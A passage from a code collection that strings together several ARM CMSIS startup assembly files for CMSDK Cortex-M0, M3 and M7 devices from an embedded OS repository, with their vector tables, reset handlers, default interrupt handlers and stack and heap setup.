SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
B .
ENDP
ALIGN
; User Initial Stack & Heap
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap PROC
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ENDP
ALIGN
ENDIF
END
|
vsfteam/vsf | 10,364 | example/kernel_test/project/mdk/RTE/Device/CMSDK_CM7_SP/startup_CMSDK_CM7.s | ;/**************************************************************************//**
; * @file startup_CMSDK_CM7.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_CM7 Device
; * @version V3.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2011 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
IMPORT |Image$$ARM_LIB_STACK$$ZI$$Limit|
__Vectors DCD |Image$$ARM_LIB_STACK$$ZI$$Limit| ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
B .
ENDP
END
|
vsfteam/vsf | 9,745 | example/kernel_test/project/mdk/RTE/Device/CMSDK_CM0/startup_CMSDK_CM0.s | ;/**************************************************************************//**
; * @file startup_CMSDK_CM0.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_CM0 Device
; * @version V3.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2011 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
IMPORT |Image$$ARM_LIB_STACK$$ZI$$Limit|
__Vectors DCD |Image$$ARM_LIB_STACK$$ZI$$Limit| ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
B .
ENDP
END
|
vsfteam/vsf | 11,418 | example/kernel_test/project/mdk/RTE/Device/CMSDK_CM7/startup_CMSDK_CM7.s | ;/**************************************************************************//**
; * @file startup_CMSDK_CM7.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_CM7 Device
; * @version V3.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2011 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000C00
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
B .
ENDP
ALIGN
; User Initial Stack & Heap
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap PROC
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ENDP
ALIGN
ENDIF
END
|
vsfteam/vsf | 10,360 | example/kernel_test/project/mdk/RTE/Device/CMSDK_CM3/startup_CMSDK_CM3.s | ;/**************************************************************************//**
; * @file startup_CMSDK_CM3.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_CM3 Device
; * @version V3.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2011 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
IMPORT |Image$$ARM_LIB_STACK$$ZI$$Limit|
__Vectors DCD |Image$$ARM_LIB_STACK$$ZI$$Limit| ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
